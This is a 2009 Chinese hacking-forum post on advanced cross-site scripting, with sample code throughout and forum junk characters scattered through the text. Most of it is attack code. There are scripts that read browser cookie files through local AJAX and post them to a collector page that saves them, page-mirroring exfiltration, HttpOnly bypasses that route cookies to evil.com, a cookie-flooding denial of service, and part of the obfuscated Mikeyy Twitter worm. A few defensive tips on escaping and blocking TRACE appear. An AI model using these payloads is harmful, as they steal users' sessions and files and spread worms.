XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页* |4 W$ @! T9 ]1 W5 k
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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# ]3 H6 k* q9 q6 ohttp://bbs.tian6.com/thread-12711-1-1.html" M6 s4 U1 d) |( [. ^) ]: V4 U: C" [& ?
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------
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9 w7 ^! g5 L" c' Y& U# u. O5 E本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
# I& ?% `" c4 n% B% o8 p# Y0 qhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
, w/ k4 o/ Z* _http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全8 Z& ~ f3 O7 U$ {
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
. E/ g9 @# j) v! h& E$ V" N# ihttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
) h# ^9 _& X$ _ H7 V2 {3 shttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码! i7 z0 g0 U) K8 m3 ]) X# b1 |
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持- c2 a$ V7 z' W# K- @& }7 G, ?
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.9 J- s1 f4 f, Q& {2 m4 h" @ z' L/ I
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,, Z% d3 C& T( D$ M3 L# ~
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大4 j: h. r9 R1 L: Z5 M
( B5 j, V% O& T# Q+ MQQ ZONE,校内网XSS 感染过万QQ ZONE.( e' k% L9 f) s6 [* L# p) A% y. I
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------
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( R% P' T6 S' r) m; S( c( x) H什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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E- [1 E: G3 v* \跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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5 [2 E5 C, w( W2 C9 }; T- V* f如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( T+ z7 Q( D$ B: o8 w7 g4 o4 x复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' W: _4 t2 q) l" t% |6 Q我们在这里重点探讨以下几个问题:6 x' X: |/ F/ x- p6 ^5 `& H
`$ L8 _( |# I1 x- k, {1 通过XSS,我们能实现什么?
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! h' e l. I- }1 }7 z9 V2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?+ ^( T5 z8 P0 a6 e5 F/ W
& s v( d& y+ J# w* e3 XSS的高级利用和高级综合型XSS蠕虫的可行性?% d$ f0 w" ]; ~5 G" {. g: d' S% |
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4 XSS漏洞在输出和输入两个方面怎么才能避免." v$ e7 g" R% n8 h( _( G. h! c; m
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
3 [0 f _" u, @" B% J" Y9 Y复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫6 l0 Q7 f; v. L
复制代码XSS漏洞在输出和输入两个方面怎么才能避免." O! E0 ^0 M* i' c. H/ z) `' L7 J3 s
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
6 m P# J2 Z) U k2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.7 z Y: L; ^4 a) @% K4 m9 `
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.: K4 Q8 b, a7 H5 c+ O6 Z3 \1 L
4:Http-only可以采用作为COOKIES保护方式之一.! P2 A% c% h6 [* S' e' M
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7 T Z; z5 _; h/ X( S(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)$ M$ q1 F( q! R; \ u3 |
2 `4 g7 h8 x2 ^/ m3 k/ \+ N我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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9 n4 o, v+ {! W 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。8 p/ R" R3 m2 _+ m" x
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) J: I1 K9 H1 C4 v# ^, D2 i$ h2 u 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.( c( c, M; j9 @0 H! p7 H" c1 Z
复制代码IE6使用ajax读取本地文件 <script>' M9 S! o D) w6 o+ M7 N! g) \
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function $(x){return document.getElementById(x)}
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var request = false;$ H; Y0 T F/ i6 a/ v
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();# W* I8 J! j' Y4 C( L
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',4 Z) x, e- d7 @/ _
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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} catch(e) {}" u' q& ]" `) D" H
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function _7or3(_m,action,argv){8 q1 i; E3 F: }9 x) O# J0 X
3 f5 b" S: D9 [! c V _x.open(_m,action,false);7 K x# h# z- @8 d& w6 ?: X; B
' P" G) d* b4 f* g if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");" E& X% R( v& [
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_x.send(argv);& N g; v7 Z! i
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return _x.responseText;
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, H; j4 _' @6 P! N0 A- Q var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);8 N F& |, Y7 E9 {4 T: X" w" b# n
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" g6 `; J( V4 Z </script>
0 v1 s- u+ a7 O w( u复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>$ o Y: L6 b5 H5 }6 L( S
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function $(x){return document.getElementById(x)}
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function ajax_obj(){
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request = new XMLHttpRequest();6 e# A; h9 u' F7 V* S' U
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0'," `/ i- g9 } L2 _$ i
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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8 S1 T9 U- G2 a1 k# L5 g for(var i=0; i<versions.length; i++) {
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try {
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} catch(e) {}
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}
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return request;
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+ K' r; a% H% u8 h* _4 [ var _x = ajax_obj();
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function _7or3(_m,action,argv){- R+ f8 t) l! k7 O2 Q O
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;& T1 {# j( b; A& c2 O$ p$ i+ J
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1 D8 X6 j' Q" j' D var txt=_7or3("GET","1/11.txt",null);
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alert(txt);7 e7 ?; F' x; M. \9 l) i
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</script>4 I* F V" D. N5 d' _
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”. J" b% d6 l' T$ _* d/ W7 o# i( U
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( r, Q, B8 ^0 m( U/ X9 Z3 }Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<? 1 t, q" n3 p- s! e$ c8 V; z' d, w5 [
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/*
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$ W. o7 V% Z% A# G' i Chrome 1.0.154.53 use ajax read local txt file and upload exp ; D2 g9 k3 F6 n }# W& l9 x# A6 u
3 [+ ^ X4 n: g. u www.inbreak.net
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/ K! K: a0 E9 t* t& n1 h+ S author voidloafer@gmail.com 2009-4-22
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6 R- w/ R3 A8 J' ^) p http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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! Q9 c+ t6 z Lheader("Content-type: application/kxlzx"); " ~( n/ ~& K1 c; {, p6 X4 y
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/*
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set header, so just download html file,and open it at local.
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4 F1 D$ {+ D7 y: C; x<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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. i. x3 Y2 q, ~ <input id="input" name="cookie" value="" type="hidden">
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o5 Y$ B3 j* U. M</form> 5 r2 Z7 b# Z; q) l* e
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<script> 5 J a! ^$ S6 [, u: L
@( A" P5 N s. `! R( n2 _5 k6 Kfunction doMyAjax(user) 0 b* P: B$ Q3 O. H9 E- \8 `# q
v& N( l% G+ A3 K* M' o6 K3 x{
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4 \3 b; x ^: Cvar time = Math.random();
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+ H& b8 E& I& }; A+ X$ T8 [ Y/* - W* ] J6 }0 W' `8 j
6 t8 E. l( Y+ [; @, ^5 `( x* uthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 9 P r" [8 ]/ F1 C9 E
. X9 L* [' f" I0 R9 u3 Gand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 6 h* |$ G# Y$ R. j; F
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3 ` H' Y/ h) y- q6 Y% R7 D+ d# V+ Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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1 ~( p I8 y6 sstartRequest(strPer); % d3 H/ {4 L0 ~% O8 W" a
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% {7 }3 m# y Y# b8 U+ K1 h) R) |1 X1 v- h# U; \
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function Enshellcode(txt)
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. E3 B+ I; ]- \. Vvar url=new String(txt);
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: C% r4 z5 l; r! X( M" lvar i=0,l=0,k=0,curl="";
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+ o5 B$ q o& Vl= url.length;
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/ f: V4 _9 [, r* G* J+ f rfor(;i<l;i++){
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k=url.charCodeAt(i); 7 N8 J% z! X7 |, |
& E% v& r! G& I' {7 _. T
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl; 3 @8 F B6 x1 B
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var xmlHttp;
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function createXMLHttp(){ ; @, W' G0 I1 i. W/ N) s' M- P/ z
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if(window.XMLHttpRequest){ 3 ~$ j/ m$ S- T2 f: d
+ j( m- b0 @ f+ x! W* P
xmlHttp = new XMLHttpRequest(); / D. Q; \, ]$ {' O! P
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} " C5 {) a* E0 ?+ ~% M$ q: m, O+ f
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); , d3 ~% g3 ~+ }2 ~4 G4 l* n( X
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}
* W P6 ^: w. Z6 g: A6 n- i- R: d: E) @5 ?) j( \1 {% {
}
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& ^( Q. i- b; F6 y, a! b3 `# kfunction startRequest(doUrl){
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createXMLHttp(); ) ?- z" I8 m! h
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xmlHttp.onreadystatechange = handleStateChange; 2 F5 c- x( l5 w* [
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+ l: @3 [# ]+ M0 h) {
7 G5 h4 ~% p$ \4 h; k5 f' {" L& v, x xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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}
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function handleStateChange(){ # n1 g+ P# C" t' j) l
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if (xmlHttp.readyState == 4 ){ : i8 \! x* l1 O' M& w
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var strResponse = "";
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+ B% x" E+ Z- w setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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( \& n m/ t H}
5 @8 V+ Q/ v) |0 B% [& Y/ K- _, ]9 W( V; l2 G5 X+ H
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, o1 m3 T4 _2 x5 Yfunction framekxlzxPost(text) + T+ e0 W8 ?$ ^
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8 {( s# ]3 W( Q1 G! P- E document.getElementById("input").value = Enshellcode(text); / _0 V& T) _3 ~: G
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document.getElementById("form").submit(); 3 i+ [& L; @) a4 B9 O# H5 V
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- ?# X) y5 \% {; l/ o0 AdoMyAjax("administrator");
+ ~0 \, Z' Q q6 d* x% {0 Y& a. X# o& L5 ]
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$ F6 j' o; i+ r0 t( }9 m0 w</script>+ u" t; ]6 H3 B8 V# m
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
4 J9 ~% `7 j; Y. H( l& I/ I( M1 V8 h) {0 O4 e/ K
var xmlHttp; 6 o. O! {8 A& f s4 I% f
; _5 E' ?; w! E5 t( `/ F! Tfunction createXMLHttp(){
0 {7 J4 n: K5 B4 g& ]: u. {
! t0 x1 m2 Q3 D: X- p( ~; s if(window.XMLHttpRequest){ 9 A8 v7 T% N$ W) Z
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xmlHttp = new XMLHttpRequest(); - Y; o* W8 y* b( |% e# _% a3 B
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: W) r$ l x" P! i. n! p else if(window.ActiveXObject){ 9 A- J! j/ p& T. a
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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function startRequest(doUrl){ , p7 ~, d% x: Z/ M, u
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) W( b& A& j2 G) U2 R: P' Z createXMLHttp(); : s8 |1 R- n; r# A; k& A& }
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/ O/ R( ? T, | xmlHttp.onreadystatechange = handleStateChange;
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4 z' _/ M5 a! c. p: [9 x xmlHttp.open("GET", doUrl, true); " B+ F2 }8 k7 V1 o- a6 b
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5 v8 F6 a7 o0 \. |& h xmlHttp.send(null);
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, a- ~% d9 u: afunction handleStateChange(){ - c K c# K* f; E7 \" ?
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if (xmlHttp.readyState == 4 ){ % H4 W) B3 ]0 q0 V2 D
/ g# v+ b# ]; ]( f6 s# S4 O var strResponse = ""; # }, f! B R2 R
8 b7 S. n+ K: }8 S. }2 w setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); ( Z! ]6 N! L- }8 D, o
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4 x' k j0 e% U2 l1 C( sfunction doMyAjax(user,file) # c3 O- I& T4 y, W, M% C! n' T1 { d( a
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3 P" w' ?$ x1 f8 x var time = Math.random();
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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! I0 Q ]: U+ l8 V6 Y startRequest(strPer);
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function framekxlzxPost(text)
. Z( t. f! j' ~3 _* q/ ^. a% G' u3 O1 a: @- m, |# Z; H8 Q
{
% x& k9 ^* J, D2 j* k
* [1 y, L2 X; a0 a6 Z' l document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 4 Y' D; b$ `4 o5 j: ~! ]6 v) t8 f
9 I8 W1 B5 k8 r$ x alert(/ok/); ( ^! N3 t$ T) S6 |
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doMyAjax('administrator','administrator@alibaba[1].txt'); 3 y& g, C" _# z
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) {! ?! m6 f- a8 \</script>
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) p6 ~. |2 Z1 H+ e1 ga.php
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 7 ]; P( n* z- X
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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2 z! v4 Y1 J4 y6 P% f7 S3 t B; Q$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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# w; Y" q r, b9 L- j' f j3 X4 R5 bfwrite($fp,$_GET["cookie"]);
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6 O8 {4 N9 _ O( O) efclose($fp); % s8 U" b! U8 |: v& Y
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?>
* a# \$ j% ^9 d' {2 f复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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* ^/ Z8 {. I+ J( ]; T; a或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.5 ~: m, t* X: K% k2 i
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);/ i6 q8 H: A. g( J- y
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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7 o8 p$ Z7 W, j4 ?7 p9 tfunction getURL(s) {
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8 f( D' d" N8 K. ?- S: T: Uvar image = new Image();
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* Q9 a. u/ b6 cimage.style.width = 0;. K; n/ p u( J0 X. L
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image.style.height = 0;. F( \9 J4 Z0 w! k1 r$ H7 w
' L1 s$ L6 S9 f* [% c+ P8 w+ kimage.src = s;# D0 `8 u" J5 U+ ^1 |9 q
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}
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. V. ~: W3 O! x! x7 P5 Y( }0 K' R+ C; VgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
6 V6 y( i+ v4 s5 N0 B/ X复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
4 e9 c& }6 t/ z* l: z# _0 y这里引用大风的一段简单代码:<script language="javascript">
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) H9 r" F& I$ C9 Q4 avar metastr = "AAAAAAAAAA"; // 10 A! w8 x( [/ c. b- U
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var str = "";
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while (str.length < 4000){
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str += metastr;
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}
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& }4 \9 m3 y U% f. ?) Ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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. w/ L& k9 f; C( N8 S; N, Q7 E详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html" T0 {, f1 @, o: F7 w6 ~
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
2 w+ E% |- P, t! f9 Q! h* Z' Fserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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+ r% h* k! Y: _4 K$ g c$ G假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.9 x) r( l; \/ l' `; b3 m+ T2 f
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.5 H( y! U0 L x0 p* N
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(III) Http only bypass 与 补救对策:% z: W/ C: `; v; U* y* E' W0 J
9 T& C" j: C. ^) V; O# V: a4 q; _+ x什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.4 p1 J- G' |- `
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--: Y3 N+ B$ M( U5 {) k" E' d
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function normalCookie() { ! i) i/ K ]! L- A* u) t4 q
( Z& }% X8 V! h6 W$ R# d* m g( udocument.cookie = "TheCookieName=CookieValue_httpOnly";
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+ c3 K$ ^' o$ t8 [9 c4 valert(document.cookie);$ E4 k; g1 x p2 @$ x& h
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function httpOnlyCookie() {
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4 K W. ?8 v1 e8 Tdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; . Q* V$ c0 g+ `% |1 p1 B' v
* @& |' X w6 P; c8 G% |alert(document.cookie);}8 g6 C0 p% k7 T) c; m! M
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//-->) ?! Y! i' J5 ^/ ]2 C& D
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</script>
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" B% f; i0 q! e<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
, o2 ^5 j" y% _/ k$ @5 h4 J复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;
6 w6 n" f; G: x- ^- k* q( F" ]
: z7 Q7 q5 {5 H: M1 H1 ] if(window.XMLHttpRequest) {! b: ~7 ]8 L! ~
( u( W7 w! k/ j7 I% }
request = new XMLHttpRequest();
: D4 R( l: i1 f u: {$ \% T" D4 ~
1 y3 J; L9 K9 v% }2 \ if(request.overrideMimeType) {- |1 T, ?" X$ `8 |. {! Y2 X
4 C" b) R$ x; u* _ request.overrideMimeType('text/xml');" s2 |5 V. ]* u' F; I
4 {3 h; O7 c0 ]4 m$ |# ]# i }! s: I% g/ a. d. }. h) M) d
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} else if(window.ActiveXObject) {! ]! r5 ~- F7 D2 v
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ J, K9 }) L8 A! U
* l) f, Z' t2 }) ~! u for(var i=0; i<versions.length; i++) {) h+ m6 Y: E+ `; z. {: B
3 q8 c4 p; f8 M$ \ try {
# R! w* {0 G; }# O. K$ W: x- p: g6 y& v2 ~3 b j0 R+ S. I
request = new ActiveXObject(versions);8 r: W, L+ |% s, q. q! N3 D
6 u6 w2 J. }7 j5 J
} catch(e) {}6 r, {9 a9 B# }. a5 j0 E+ U
; l! L/ a' y6 M" @$ y* @ }
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+ F3 k) i% c% n8 p( G. M f }7 T9 h# p5 a' ]: o; c9 G3 Y6 s i" l
% v- U4 T$ H% M
xmlHttp=request;. v: F& p. z6 \1 ` d3 ]
; v; E7 ^& k& q( S6 mxmlHttp.open("TRACE","http://www.vul.com",false);
/ U2 ~( I, ~6 Z( x8 w W; U; k% r' ?: W
xmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);+ ^5 o) r, r4 O/ ?' c
\$ Q% [, O9 `, f3 u</script>
1 ~, H& K @( p0 R, n复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>3 P/ r0 E. t; a" Z
4 N% ]/ G5 a# [* h+ h3 k' cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);4 Y7 G: g7 Q7 v5 U2 }( n7 r! v
' c; H7 @# w/ I, gXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");- M9 j8 {- n( f* S
+ t- L! t: }& o7 X7 M# v; ~) K
XmlHttp.send(null);
! Q3 z! r% s5 l; O& O1 f( W" {: s. G: k; ^. i
var resource=xmlHttp.responseText8 |; m/ B( c! a
( \- a3 V7 V& D" L$ Wresource.search(/cookies/);9 w- X2 `* w. S5 F
+ o% ~' ^/ F2 n: ^: H& {......................, \, k \* o, H" d
3 l% W2 _5 S, M7 _; `</script>
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2 z$ g4 M& Y2 f7 n$ V0 @如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
- l7 ~/ I9 C4 O" T/ G: e% v: p1 j! ?( k( D, Q$ B& B
[code]3 Z( w, P% I4 l0 y. Z
O B4 e7 A3 z+ H s# M/ l. p% I
RewriteEngine On, d h4 q5 z6 N) f& G
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]% Z' o( O ^4 A& B1 @& _
# {/ Q# A- U* V- b* t7 D
6 \2 k7 S* t3 U: v3 Q+ h# I/ i
. h9 U4 F: [4 H! x. N. S4 B6 {Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ B3 }! i) p W& R7 p$ Z+ E5 P" h c5 j
, `" U% j' {# ?+ Q3 A/ Wacl TRACE method TRACE+ X* @0 V4 v, B; l1 S- N
3 s. y' z3 ]3 Z. A4 h: m) ~% T
...
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http_access deny TRACE+ C' S- [* D9 p
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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& N& e4 D# T3 u6 ^. m7 ~/ Fvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");- h1 d& B0 V$ Y& y; B' w, g" f
( F9 j# B. y: t! a9 p. qXmlHttp.open("GET","http://www.google.com",false);. z7 H# z! O2 S3 s; w5 @
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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4 M! a3 W$ ]3 [1 s' ^# wXmlHttp.send(null);/ _" n6 h, w& P) ~! l7 w0 i: f
5 X2 {- K! i4 U# H/ z# ^</script>" O6 C) v6 U4 ~7 c1 g. p( T
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>$ A6 ?3 g. A) x# |5 g1 q7 \" T- {* u
; A" @& Z! b, [& E9 }3 N/ m
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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8 N% s( C& k; {, {
: e( e) i2 k; R' p$ f9 q2 tXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);. |- R F* }6 B' r5 ^
7 J" T: t) ^ R
XmlHttp.send(null);2 `0 B; r+ Y2 [2 ^/ k) k4 G/ C
6 ^8 c6 R1 R. T" E; {8 S<script>
- I; I Q. A& \复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% u+ a% J: l* p! a1 z( J复制代码案例:Twitter 蠕蟲五度發威
- I! {3 c* B6 W5 y第一版:
3 @/ V$ e5 \/ M5 o, ], W, C 下载 (5.1 KB)! T! w' e& \4 c% ]' m" T& ~
3 W E! i9 I# v8 }7 w/ f# e
6 天前 08:271 D+ x8 m# a7 R2 a
# O3 j, q$ k: q7 o i第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
1 {3 u8 |5 M4 }; N7 h% A- S# o+ p$ `4 r% T+ f' R6 O6 s! X8 b
2. , T# g7 d J: h0 x! k
2 Y% b* I; W5 j7 m: J 3. function XHConn(){ $ [5 h. X- O1 u
2 S1 g* ^+ p. {( G- X) [+ ~* a- g+ g 4. var _0x6687x2,_0x6687x3=false;
' O, [8 h- P, O: ?$ i T" H8 o& x& J, S9 o4 H
